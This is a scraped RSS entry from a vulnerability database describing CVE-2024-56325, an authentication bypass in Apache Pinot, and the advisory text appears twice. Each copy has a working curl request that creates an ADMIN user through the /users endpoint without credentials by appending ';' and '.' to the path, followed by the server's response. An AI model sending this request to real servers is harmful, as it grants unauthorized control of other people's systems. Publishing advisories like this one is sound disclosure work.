https://vulnerability.circl.lu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 29 Sep 2026 13:41:24 +0000 https://vulnerability.circl.lu/vuln/cve-2024-56325 <p><strong>Affected:</strong> Apache Software Foundation Apache Pinot</p> <p>Authentication Bypass Issue</p> <p>If the path does not contain / and contain., authentication is not required.</p> <p>Expected Normal Request and Response Example</p> <p>curl -X POST -H &#34;Content-Type: application/json&#34; -d {\&#34;username\&#34;:\&#34;hack2\&#34;,\&#34;password\&#34;:\&#34;hack\&#34;,\&#34;component\&#34;:\&#34;CONTROLLER\&#34;,\&#34;role\&#34;:\&#34;ADMIN\&#34;,\&#34;tables\&#34;:[],\&#34;permissions\&#34;:[],\&#34;usernameWithComponent\&#34;:\&#34;hack_CONTROLLER\&#34;} http://{server_ip}:9000/users</p> <p>Return: {&#34;code&#34;:401,&#34;error&#34;:&#34;HTTP 401 Unauthorized&#34;}</p> <p>Malicious Request and Response Example</p> <p>curl -X POST -H &#34;Content-Type: application/json&#34; -d &#39;{\&#34;username\&#34;:\&#34;hack\&#34;,\&#34;password\&#34;:\&#34;hack\&#34;,\&#34;component\&#34;:\&#34;CONTROLLER\&#34;,\&#34;role\&#34;:\&#34;ADMIN\&#34;,\&#34;tables\&#34;:[],\&#34;permissions\&#34;:[],\&#34;usernameWithComponent\&#34;:\&#34;hack_CONTROLLER\&#34;}&#39; http://{serverip}:9000/users; http://{serverip}:9000/users; .</p> <p>Return: {&#34;users&#34;:{}}</p> <p>A new user gets added bypassing authentication, enabling the user to control Pinot.</p> <p><strong>Affected:</strong> Apache Software Foundation Apache Pinot</p> <p>Authentication Bypass Issue</p> <p>If the path does not contain / and contain., authentication is not required.</p> <p>Expected Normal Request and Response Example</p> <p>curl -X POST -H &#34;Content-Type: application/json&#34; -d {\&#34;username\&#34;:\&#34;hack2\&#34;,\&#34;password\&#34;:\&#34;hack\&#34;,\&#34;component\&#34;:\&#34;CONTROLLER\&#34;,\&#34;role\&#34;:\&#34;ADMIN\&#34;,\&#34;tables\&#34;:[],\&#34;permissions\&#34;:[],\&#34;usernameWithComponent\&#34;:\&#34;hack_CONTROLLER\&#34;} http://{server_ip}:9000/users</p> <p>Return: {&#34;code&#34;:401,&#34;error&#34;:&#34;HTTP 401 Unauthorized&#34;}</p> <p>Malicious Request and Response Example</p> <p>curl -X POST -H &#34;Content-Type: application/json&#34; -d &#39;{\&#34;username\&#34;:\&#34;hack\&#34;,\&#34;password\&#34;:\&#34;hack\&#34;,\&#34;component\&#34;:\&#34;CONTROLLER\&#34;,\&#34;role\&#34;:\&#34;ADMIN\&#34;,\&#34;tables\&#34;:[],\&#34;permissions\&#34;:[],\&#34;usernameWithComponent\&#34;:\&#34;hack_CONTROLLER\&#34;}&#39; http://{serverip}:9000/users; http://{serverip}:9000/users; .</p> <p>Return: {&#34;users&#34;:{}}</p> <p>A new user gets added bypassing authentication, enabling the user to control Pinot.</p> https://vulnerability.circl.lu/vuln/cve-2024-56325